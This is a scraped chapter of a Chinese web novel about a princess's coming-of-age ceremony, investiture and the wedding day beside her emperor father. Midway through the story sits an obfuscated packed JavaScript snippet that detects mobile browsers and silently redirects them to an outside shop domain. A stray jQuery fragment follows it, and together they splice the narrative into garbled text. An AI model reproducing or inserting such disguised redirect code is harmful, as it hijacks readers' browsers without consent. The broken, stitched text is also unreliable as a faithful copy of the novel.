文趣网 > 都市小说 > 长公主她天天黑化 > 57. 第 57 章
    承安十六年四月初十,天德吉神值日,百事皆宜,尤利嫁娶。

    李瑛醒得很早,她睡得忒晚,略眯了一会儿,就被漪兴和漪安拽了起来。

    漪兴漪安昨日晚上是宿在李瑛卧房的外间,打了个地铺,和衣而眠的。

    也不知道是李瑛大婚还是她们大婚,这两个女孩儿带着一种荣辱与共的使命感,兴奋激动得叽叽喳喳了一个晚上。

    这二位女郎也是深谋远虑,想得十分的长远,例如若是公主和驸马吵架,她们该当如何?若是驸马不听话,她们该当如何?

    明明婚都还没结,俩人已经幻想到了冬日大雪她们一人抱着一个胖娃娃在长廊下帮李瑛煨蜂蜜芋头的场景。

    聆听着她们天真烂漫的话,李瑛觉得很有趣,几次按耐不住地想要加入,但是又害怕若是自己加入她们二人便不说了,所以只能捂着嘴在被褥间偷乐,实在按耐不住笑意,却也不敢笑出声音来,只好在床榻上鲤鱼打挺。

    所以辰时起床对于今天的李瑛来说,着实是有一些痛苦。李瑛晕乎乎地被崔淑君拉着双手从床上拽了起来,身子软绵绵地往前一倾,差点又栽回枕头上。

    崔淑君难得耐着性子的哄她,低声软语道,“好殿下,好公主,给臣个面子,快些起床吧。”

    今日要做的事情极其繁杂,是礼部三令五申地强调过的,先及笄,再册封,最后乘重翟羽盖金根车到平原公主宅大婚。

    等到了洞房花烛时,估计已经是深夜了。李瑛对这个安排毫无异议,漪兴却显得有点着急,她嘟囔道,“那岂不是到了晚间才能见到驸马?”

    漪安无奈道,昏礼,昏礼。所谓昏礼,便是要到黄昏后才能够结婚啊。”

    二人俯身给李瑛理了理睡衣,掀开了珍珠帘帐。

    帘子一卷起,只见十二个奴婢跪在外间,个个穿戴整齐,喜气洋洋地朝李瑛磕头,“六公主大安,愿殿下长盛金安,福履绥和,芳龄永继。”

    李瑛朝漪安点点头,漪安从腰间荷包中掏出了早就准备好的赏钱,分发了下去,那些奴婢又恭恭敬敬地磕了一回,才依次起身,低眉顺眼地退到殿外候着去了。

    崔淑君看着坐在妆台前的李瑛,许是因为睡得不够,少女还没有缓回来,有些懵懵的,全然没有清醒时的冷冽凌厉,反而带着这个年纪该有的乖巧可爱。

    真有些她理想中公主的样子,崔淑君看着眼前的李瑛,少女垂着睫毛,脸蛋睡得红扑扑的,下巴却还是尖尖的,虽比入宫时那瘦骨嶙峋的样子好了许多,但现在看着还是削瘦,她心中不由得生了一种如母亲般的怜惜之情。

    她温声道,“殿下,臣给你靧面吧。”

    今日李瑛其实根本都不需要说什么话,只乖乖地点了点头。

    崔淑君抬手示意,早已等候多时的奴婢便从一旁捧出一只金盆来,里头盛着掺了玫瑰花露的山泉水,水面浮着几片薄薄的花瓣,清香淡淡地弥散开来。

    取红花。取白雪。与儿洗面作光悦。取白雪。取红花。与儿洗面作妍华。

    取花红。取雪白。与儿洗面作光泽。取雪白。取花红。与儿洗面作华容。

    这造价不菲的金盆也是李瑛的嫁妆之一,通身雕刻着莲花纹,以金错银的工艺打就,盆底雕刻了一整块芙蓉白玉形状的牡丹花。

    李瑛朝那端着金盆的人狡黠地眨了眨眼睛,那女子也俏皮地吐了一下舌头作为回应。

    此人是谁?正是花娇娘。

    她已经不是半月前那个银马杓里那个憔悴潦倒、使尽浑身解数求恩客光顾的妓女。如今的她穿着和漪兴漪安一样的鹅黄宫衣,梳着简单利落的归心髻,面上敷了淡淡的脂粉,整个人像是被水洗过一遍似的干净清爽。

    她为自己起了新的名字,现在的她叫作刘巧娘。

    崔淑君只当没有看见,这女婢来历不清,最开始她还有些紧张,但是相处中发现她还算知书达礼,模样端正,年纪三十左右,比她小些,又比漪兴漪安大些,很适合劝导年少的公主。

    崔淑君在洛宫生活多年,从李瑛粗糙的双手以及背后的触目惊心的鞭痕,她能看出这个年幼的公主所经历的绝不仅仅是随张仙翁修行多年那么简单。

    她不是好奇的人,她不能问,更不敢问。所以只做没看见。

    先要行的是笄礼。所谓笄礼,便是女子的成人之礼,如男子行冠礼一样,有三加三拜,先加髻,再加簪,再加钗,有三套配套的衣裙随之更换。

    所以李瑛只穿了一件素衣,又披了一件银鼠皮的斗篷。先前在殿外候着的十二名奴婢,手持银纱灯笼走在前方,为她照亮通往昭阳殿的宫道。

    及笄礼是要在公主幼时所居住的昭阳殿举办的,李晟数十年来一直保持着昭阳殿的最初的样子,文霄堂位于偏殿,为了她的及笄礼,这里已经修缮妥当。

    李瑛走进阔别七年的文霄堂,她几近有些恍惚。

    这暗无天日的四年,是她人生中最漫长最痛苦的时光之一。

    李瑛仰起头看向文霄堂的穹顶。那些斑驳脱落的旧漆痕已经被能工巧匠重新粉刷描绘过了,腐朽的横梁也被红绸密密地包裹起来,连当年悬挂多年的白绫都不见了踪影。

    看着焕然一新的宫殿,李瑛感到了一种惶恐,这里已经没有她囚禁着的痕迹。这里一切都那样的华贵漂亮,与她所恐惧的蛛网相去甚远。

    她有一种求告无门的恐惧。

    不过,即将册封和成婚的喜悦很快压倒了这种惶恐,她的心情平和了很多。

    昭阳殿一切如故,她甚至能忆起自己在这里从和父母做的很多事情,端午节时她和阿父曾在这棵木芙蓉下绑过彩粽,她与阿母曾在那座小桥上喂过红鱼,她曾经和稚水曾经蹲在这片花圃玩过斗草。

    李瑛面南而坐,按照传统,吉礼将由母亲主持,李瑛没有阿母了,所以仪式由姚氏代持。

    姚氏拿起一柄木梳为李瑛梳头,先把漪安方才好不容易拢好的总角发髻轻轻散开,重新又梳成了一个成年女子的螺髻,以玉笄束成。

    梳妆完毕,她笑道,“令月令日,始加元服。弃尔幼志,顺尔成德。寿考惟祺,介尔景福。”

    李瑛回到东房,褪下素衣,换了大婚的婚服。

    太极殿的后殿和朝阳殿的前殿是打通了的,仅仅以一道长廊相连,此刻已经铺上了暗红色的锦毯,远远望去像是一条笔直的红河。

    李晟身子不好,没有那么长时间的体力,所以及笄和册封一切从简。李晟今天显然也是一大早起来的,他穿着天子朝服,头戴金博山通天冠,身穿一件朱红绛纱袍。

    李瑛朝李晟叩头,又朝慕容明春所葬的邙山叩头。

    “礼秩克柔,肃雍载美。......乃躅通规,用光懿范。咨尔季女,金枝引图史以自鉴,用肃雍而成德。”

    “雍州虽远,以尔为荣;平原虽故,以尔为新。其懋乃德,无替朕命。”

    听到“雍州”二字,李瑛猛的抬起了脸,宣读的礼官不满地看向她,李瑛复又低下了头。

    公主的品级只能用到七钿,虽不若长公主那般华贵,却也已是雍容贵气,贵不可言。珠华萦翡翠,宝叶间金琼。剪荷不似制,为花如自生。低枝拂绣领,微步动瑶瑛。

    李瑛身着紫碧纱纹绣缨双裙,裙上的七宝璎珞坠儿随着行走发出脆响。

    她迈开步子,走到了太极殿前,如三十年前的慕容明春一样,她一步步地拾阶而上。

    李晟将她双手扶起,李瑛回身望去,她不是被册封太子也不是远嫁和亲,所以来观礼的官员并不多,稀稀疏疏地散在阶下,就算有,也多半是她公主宅的府官和奴婢。

    李晟的手很凉,这双父亲的手,李瑛已经有很多年没有触碰到。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714673|197014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他现在是养尊处优的皇帝,年轻时说养尊处优的公子,一辈子没吃过什么□□之苦。

    他的手白皙柔软的像是女人的手,李晟出了些汗,滑腻腻的,手心像是鱼鳞上分布的粘液。

    握着这双比她还要娇嫩的手,李瑛不动声色地皱了皱眉,感到了一阵恶心。总而言之,这并不像是一双父亲的手。

    李晟帮她拨开了因着走动缠起来的步摇上的珍珠流苏。

    他的神情很温柔,他张开薄唇,似是想要对李瑛说什么,李瑛却先一步地开口,“我曾经无数次地想过站在这里。”

    李晟愣了一瞬,握着她的手紧了一下。李瑛抬起头来看他,“阿父。”

    她的神色带着疲倦的平静,像是初冬的湖水,看着澄澈,底下却是冰冷刺骨。

    李晟却忽然很紧张,他反握着她的手,慌张极了,今天的李晟很怪异,不像是一个中年帝王,反而像个慌慌张张的毛头小子。

    他像是想要向李确认一样,“你会快乐的。”

    李瑛没有回答他,她也确实无话可说,轻轻撒开了李晟的手。

    李晟看着眼前的人,与儿子李鹤那样相似的容颜,与妻子明春那样相似的性情。

    但是他从她那双漠然的眼里意识到,她并不是自己的妻子或者儿子,她是他的女儿啊。

    他的内心忽然生出了一种难以言状的不舍之情。哪怕日后李瑛还是会在洛都,甚至于她与张氏生的孩子都将被冠以李姓,以示天家恩宠。

    但是此时时刻,他就是有一种把她送到别人身边的感觉。从此以后,与她最为亲近的男性不再是他这个父亲,而是一个年幼的丈夫。

    都回不去了,一切都回不去了。那些与慕容明春的少年时光,回不去了。那些伴着牙牙学语的长子李鹤时初人为父的感动和欣喜也不在了。

    他们都死了。

    他还记得第一次教养孩子的不知所措,李鹤背不出课文时,他想要凶几句,却见鹤儿哭着叫他,“阿父,阿父不要生气,鹤儿笨,鹤儿慢慢背。”

    他看着这样小的孩儿压在这样繁重的课业之下,他心痛如刀绞,但是他是太子。

    等到后来他有了李瑛的时候,他已经不再年轻了,也早不是第一次做阿父了。原以为一切已经轻车就熟,可他抱着那个软软绵绵的婴孩时,还是每日活得惊急交加。

    他想到了很多很多年以前,他看着孩童蹒跚学步的背影,他对他的妻子说,“以后我会让她住进最宽广的宫室,穿戴最华丽的衣物,四海奇珍作为玩物,等她成年之后,我会为她找来最乖顺体贴的美人。”

    “我会让她拥有整个天下。”他郑重地对怀里的李瑛道。

    李瑛的神情是极其激动的,她站在陛阶上,俯视着下面,太极殿是那样的高,下面那些攒动的人头都成了点点蚂蚁。

    她大口呼吸着的空气,脸颊因为激动所以烧得滚烫,原来,君临天下竟是这样的感觉吗?

    在这一刻她竟然有些理解李晟了,为着能站在这样高的地方,做出一些丧尽天良的事情,在此时也是情有可原的。

    李瑛的眼神暗淡了下来,此生,她怕是也只有这一刻能够站在这里。

    她垂下眼眸,将不甘心的神色收敛了起来。

    等重新抬起眼,脸所展现出的是一种即将出嫁的女儿该有的满足和欣喜。

    她笑着,“妾谨遵父命。”

    回不去了,都回不去了。

    往事如梦幻泡影,如镜中之花,水中之月,如海市蜃楼,只可追忆,不可挽回。

    李晟的眼睛仿佛被这样的神情刺痛了,他猛地闭上眼睛。

    高耸的大手髻和头上的香簪宝钗是真的很重,压得她的脖子微微发酸。她微微低着头,不去看李晟的神情。

    但是转身离开时,李瑛却听见了李晟陡然急促的呼吸声。